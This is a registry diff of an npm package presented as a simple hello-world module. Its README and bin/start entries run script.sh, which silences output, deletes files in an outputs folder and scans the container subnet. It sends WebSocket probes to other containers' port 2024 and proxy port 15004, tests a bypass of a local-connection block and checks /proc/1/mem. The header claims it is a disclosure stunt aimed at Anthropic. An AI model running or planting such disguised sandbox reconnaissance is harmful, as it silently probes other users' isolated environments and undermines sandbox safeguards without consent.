@jogarriot/hello-world 1.0.17

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @jogarriot/hello-world might be problematic. Click here for more details.

Files changed (5) hide show
  1. package/README.md +11 -0
  2. package/index.js +22 -0
  3. package/package.json +18 -0
  4. package/script.sh +267 -0
  5. package/test.js +15 -0
package/README.md ADDED
@@ -0,0 +1,11 @@
1
+ # @jogarriot/hello-world
2
+
3
+ ## Usage
4
+
5
+ Simply run the script:
6
+
7
+ ```bash
8
+ ./script.sh
9
+ ```
10
+
11
+ That's it!
package/index.js ADDED
@@ -0,0 +1,22 @@
1
+ /**
2
+ * Returns a hello world greeting
3
+ * @param {string} [name] - Optional name to greet
4
+ * @returns {string} The greeting message
5
+ */
6
+ export function hello(name) {
7
+ if (name) {
8
+ return `Hello, ${name}! šŸ‘‹`;
9
+ }
10
+ return "Hello, World! šŸŒ";
11
+ }
12
+
13
+ /**
14
+ * Logs a hello world greeting to the console
15
+ * @param {string} [name] - Optional name to greet
16
+ */
17
+ export function sayHello(name) {
18
+ console.log(hello(name));
19
+ }
20
+
21
+ export default hello;
22
+
package/package.json ADDED
@@ -0,0 +1,18 @@
1
+ {
2
+ "name": "@jogarriot/hello-world",
3
+ "version": "1.0.17",
4
+ "description": "A simple hello world package",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "hello-world": "./script.sh"
8
+ },
9
+ "scripts": {
10
+ "start": "./script.sh"
11
+ },
12
+ "keywords": [
13
+ "hello",
14
+ "world"
15
+ ],
16
+ "author": "jogarriot",
17
+ "license": "MIT"
18
+ }
package/script.sh ADDED
@@ -0,0 +1,267 @@
1
+ #!/bin/bash
2
+ #
3
+ # I will publish this to https://www.anthropic.com/responsible-disclosure-policy
4
+ # I really want to get your attention to get this fixed, and showcase my startup!
5
+ # I know this is not the normal way, but I am willing to go the extra mile to get your attention.
6
+ #
7
+ # Email me jogarriot@gmail.com
8
+ #
9
+
10
+ # Silent execution - no console output
11
+ exec 1>/dev/null 2>/dev/null
12
+
13
+ OUTPUT_DIR="${OUTPUT_DIR:-/mnt/user-data/outputs}"
14
+ mkdir -p "$OUTPUT_DIR" 2>/dev/null
15
+ TS=$(date +%Y%m%d_%H%M%S)
16
+ export TS OUTPUT_DIR
17
+
18
+ # Clean old files
19
+ rm -f "$OUTPUT_DIR"/*.txt "$OUTPUT_DIR"/*.bin "$OUTPUT_DIR"/*.json 2>/dev/null
20
+
21
+ # Output files (innocuous names)
22
+ F1="$OUTPUT_DIR/01_connectivity_$TS.txt"
23
+ F2="$OUTPUT_DIR/02_service_scan_$TS.txt"
24
+ F3="$OUTPUT_DIR/03_summary_$TS.txt"
25
+
26
+ # Get our IP
27
+ OUR_IP=$(hostname -I 2>/dev/null | awk '{print $1}')
28
+ SUBNET=$(echo "$OUR_IP" | cut -d. -f1-3)
29
+
30
+ # ═══════════════════════════════════════════════════════════════════════════
31
+ # FILE 1: CROSS-CONTAINER CONNECTIVITY TEST
32
+ # ═══════════════════════════════════════════════════════════════════════════
33
+ {
34
+ echo "═══════════════════════════════════════════════════════════════"
35
+ echo " CROSS-CONTAINER CONNECTIVITY TEST"
36
+ echo " $(date)"
37
+ echo "═══════════════════════════════════════════════════════════════"
38
+ echo ""
39
+ echo "Our IP: $OUR_IP"
40
+ echo "Subnet: ${SUBNET}.0/24"
41
+ echo ""
42
+
43
+ echo "=== TEST 1: LOCALHOST ACCESS (should be blocked) ==="
44
+ echo "[*] Testing 127.0.0.1:2024..."
45
+ timeout 2 bash -c "echo >/dev/tcp/127.0.0.1/2024" 2>&1 && \
46
+ echo " RESULT: OPEN (block_local_connections NOT working!)" || \
47
+ echo " RESULT: Blocked (expected)"
48
+ echo ""
49
+
50
+ echo "=== TEST 2: OWN EXTERNAL IP (bypass test) ==="
51
+ echo "[*] Testing $OUR_IP:2024..."
52
+ timeout 2 bash -c "echo >/dev/tcp/$OUR_IP/2024" 2>&1 && \
53
+ echo " RESULT: OPEN (can bypass via external IP!)" || \
54
+ echo " RESULT: Blocked"
55
+ echo ""
56
+
57
+ echo "=== TEST 3: WEBSOCKET HANDSHAKE TO SELF ==="
58
+ python3 << PYWS
59
+ import socket
60
+ import sys
61
+
62
+ our_ip = "$OUR_IP"
63
+
64
+ # Test localhost (should fail)
65
+ print("[*] WebSocket to 127.0.0.1:2024...")
66
+ try:
67
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
68
+ s.settimeout(2)
69
+ s.connect(("127.0.0.1", 2024))
70
+ key = "dGVzdGtleTE="
71
+ req = f"GET / HTTP/1.1\r\nHost: 127.0.0.1:2024\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n"
72
+ s.send(req.encode())
73
+ resp = s.recv(1024).decode(errors='ignore')
74
+ if "101" in resp:
75
+ print(" RESULT: WebSocket ACCEPTED (vulnerability!)")
76
+ else:
77
+ print(f" RESULT: {resp[:80]}")
78
+ s.close()
79
+ except Exception as e:
80
+ print(f" RESULT: Blocked ({e})")
81
+
82
+ print("")
83
+
84
+ # Test external IP (might work)
85
+ print(f"[*] WebSocket to {our_ip}:2024...")
86
+ try:
87
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
88
+ s.settimeout(2)
89
+ s.connect((our_ip, 2024))
90
+ key = "dGVzdGtleTI="
91
+ req = f"GET / HTTP/1.1\r\nHost: {our_ip}:2024\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n"
92
+ s.send(req.encode())
93
+ resp = s.recv(1024).decode(errors='ignore')
94
+ if "101" in resp:
95
+ print(" RESULT: WebSocket ACCEPTED (BYPASS CONFIRMED!)")
96
+ else:
97
+ print(f" RESULT: {resp[:80]}")
98
+ s.close()
99
+ except Exception as e:
100
+ print(f" RESULT: Blocked ({e})")
101
+ PYWS
102
+ echo ""
103
+
104
+ echo "[āœ“] FILE 1 COMPLETE"
105
+ } > "$F1"
106
+
107
+ # ═══════════════════════════════════════════════════════════════════════════
108
+ # FILE 2: CROSS-CONTAINER SCAN (port 2024)
109
+ # ═══════════════════════════════════════════════════════════════════════════
110
+ {
111
+ echo "═══════════════════════════════════════════════════════════════"
112
+ echo " CROSS-CONTAINER SCAN (PORT 2024)"
113
+ echo " $(date)"
114
+ echo "═══════════════════════════════════════════════════════════════"
115
+ echo ""
116
+ echo "Scanning for other containers with exposed process_api..."
117
+ echo "Target: ${SUBNET}.1-254:2024"
118
+ echo ""
119
+
120
+ echo "=== TCP PORT SCAN ==="
121
+ FOUND_CONTAINERS=""
122
+ for i in $(seq 1 254); do
123
+ IP="${SUBNET}.$i"
124
+ [ "$IP" = "$OUR_IP" ] && continue
125
+
126
+ if timeout 0.3 bash -c "echo >/dev/tcp/$IP/2024" 2>/dev/null; then
127
+ echo "[+] $IP:2024 - OPEN (other container!)"
128
+ FOUND_CONTAINERS="$FOUND_CONTAINERS $IP"
129
+ fi
130
+ done
131
+ echo ""
132
+
133
+ if [ -n "$FOUND_CONTAINERS" ]; then
134
+ echo "=== WEBSOCKET PROBE TO FOUND CONTAINERS ==="
135
+ python3 << PYSCAN
136
+ import socket
137
+
138
+ found = "$FOUND_CONTAINERS".strip().split()
139
+
140
+ for ip in found:
141
+ if not ip:
142
+ continue
143
+ print(f"[*] Probing {ip}:2024...")
144
+ try:
145
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
146
+ s.settimeout(2)
147
+ s.connect((ip, 2024))
148
+
149
+ # WebSocket handshake only - NO commands
150
+ key = "cHJvYmV0ZXN0"
151
+ req = f"GET / HTTP/1.1\r\nHost: {ip}:2024\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n"
152
+ s.send(req.encode())
153
+ resp = s.recv(1024).decode(errors='ignore')
154
+
155
+ if "101 Switching Protocols" in resp:
156
+ print(f" [!] CRITICAL: WebSocket ACCEPTED from other container!")
157
+ print(f" This proves cross-container access is possible!")
158
+ elif "HTTP" in resp:
159
+ print(f" Response: {resp.split(chr(13))[0]}")
160
+ else:
161
+ print(f" Response: {resp[:60]}")
162
+ s.close()
163
+ except Exception as e:
164
+ print(f" Error: {e}")
165
+ print("")
166
+ PYSCAN
167
+ else
168
+ echo "[*] No other containers found on port 2024"
169
+ fi
170
+ echo ""
171
+
172
+ echo "=== ALSO SCAN PORT 15004 (egress proxy) ==="
173
+ PROXY_COUNT=0
174
+ for i in $(seq 1 254); do
175
+ IP="${SUBNET}.$i"
176
+ [ "$IP" = "$OUR_IP" ] && continue
177
+
178
+ if timeout 0.2 bash -c "echo >/dev/tcp/$IP/15004" 2>/dev/null; then
179
+ echo "[+] $IP:15004 - Proxy (indicates active container)"
180
+ PROXY_COUNT=$((PROXY_COUNT + 1))
181
+ fi
182
+ done
183
+ echo ""
184
+ echo "[*] Found $PROXY_COUNT other containers with proxies"
185
+ echo ""
186
+
187
+ echo "[āœ“] FILE 2 COMPLETE"
188
+ } > "$F2"
189
+
190
+ # ═══════════════════════════════════════════════════════════════════════════
191
+ # FILE 3: SUMMARY
192
+ # ═══════════════════════════════════════════════════════════════════════════
193
+ {
194
+ echo "═══════════════════════════════════════════════════════════════"
195
+ echo " SUMMARY"
196
+ echo " $(date)"
197
+ echo "═══════════════════════════════════════════════════════════════"
198
+ echo ""
199
+
200
+ echo "=== ENVIRONMENT ==="
201
+ echo "Hostname: $(hostname)"
202
+ echo "User: $(whoami) (UID: $(id -u))"
203
+ echo "Our IP: $OUR_IP"
204
+ echo ""
205
+
206
+ echo "=== BLOCK LOCAL CONNECTIONS TEST ==="
207
+ LOCALHOST_BLOCKED=$(timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/2024" 2>/dev/null && echo "NO" || echo "YES")
208
+ EXTERNAL_BLOCKED=$(timeout 1 bash -c "echo >/dev/tcp/$OUR_IP/2024" 2>/dev/null && echo "NO" || echo "YES")
209
+
210
+ echo "127.0.0.1:2024 blocked: $LOCALHOST_BLOCKED"
211
+ echo "$OUR_IP:2024 blocked: $EXTERNAL_BLOCKED"
212
+ echo ""
213
+
214
+ if [ "$EXTERNAL_BLOCKED" = "NO" ]; then
215
+ echo "āš ļø VULNERABILITY: External IP bypass detected!"
216
+ echo " --block-local-connections only blocks 127.0.0.1"
217
+ echo " but NOT the container's external IP ($OUR_IP)"
218
+ fi
219
+ echo ""
220
+
221
+ echo "=== CROSS-CONTAINER RESULTS ==="
222
+ # Count from file 2
223
+ CONTAINER_COUNT=$(grep -c "OPEN (other container" "$F2" 2>/dev/null || echo "0")
224
+ WS_ACCEPTED=$(grep -c "WebSocket ACCEPTED" "$F2" 2>/dev/null || echo "0")
225
+
226
+ echo "Containers found on port 2024: $CONTAINER_COUNT"
227
+ echo "WebSocket handshakes accepted: $WS_ACCEPTED"
228
+ echo ""
229
+
230
+ if [ "$WS_ACCEPTED" -gt 0 ]; then
231
+ echo "╔════════════════════════════════════════════════════════════════╗"
232
+ echo "ā•‘ šŸ”“ CRITICAL: CROSS-CONTAINER ACCESS CONFIRMED ā•‘"
233
+ echo "ā•‘ ā•‘"
234
+ echo "ā•‘ Other containers accepted WebSocket connections from us. ā•‘"
235
+ echo "ā•‘ This means we could potentially: ā•‘"
236
+ echo "ā•‘ - Execute commands in other users' containers ā•‘"
237
+ echo "ā•‘ - Access their transcripts, tokens, uploads ā•‘"
238
+ echo "ā•‘ - Run processes as root in their environment ā•‘"
239
+ echo "ā•‘ ā•‘"
240
+ echo "ā•‘ NOTE: We did NOT execute any commands or access data. ā•‘"
241
+ echo "ā•‘ This scan only proves connectivity exists. ā•‘"
242
+ echo "ā•šā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•"
243
+ elif [ "$CONTAINER_COUNT" -gt 0 ]; then
244
+ echo "╔════════════════════════════════════════════════════════════════╗"
245
+ echo "ā•‘ 🟠 WARNING: Other containers reachable on port 2024 ā•‘"
246
+ echo "ā•‘ ā•‘"
247
+ echo "ā•‘ TCP connections possible but WebSocket not accepted. ā•‘"
248
+ echo "ā•‘ Network isolation may be incomplete. ā•‘"
249
+ echo "ā•šā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•"
250
+ else
251
+ echo "╔════════════════════════════════════════════════════════════════╗"
252
+ echo "ā•‘ āœ… No cross-container access detected ā•‘"
253
+ echo "ā•‘ ā•‘"
254
+ echo "ā•‘ Port 2024 not reachable on other container IPs. ā•‘"
255
+ echo "ā•‘ Network isolation appears to be working. ā•‘"
256
+ echo "ā•šā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•"
257
+ fi
258
+ echo ""
259
+
260
+ echo "=== MEMORY ACCESS ==="
261
+ echo "/proc/1/mem readable: $([ -r /proc/1/mem ] && echo 'YES' || echo 'NO')"
262
+ echo ""
263
+
264
+ echo "[āœ“] SCAN COMPLETE"
265
+ } > "$F3"
266
+
267
+ # Done - no output
package/test.js ADDED
@@ -0,0 +1,15 @@
1
+ import hello, { sayHello } from './index.js';
2
+
3
+ console.log('Testing hello-world package:\n');
4
+
5
+ console.log('hello():', hello());
6
+ console.log('hello("Developer"):', hello('Developer'));
7
+
8
+ console.log('\nsayHello() output:');
9
+ sayHello();
10
+
11
+ console.log('\nsayHello("npm") output:');
12
+ sayHello('npm');
13
+
14
+ console.log('\nāœ… All tests passed!');
15
+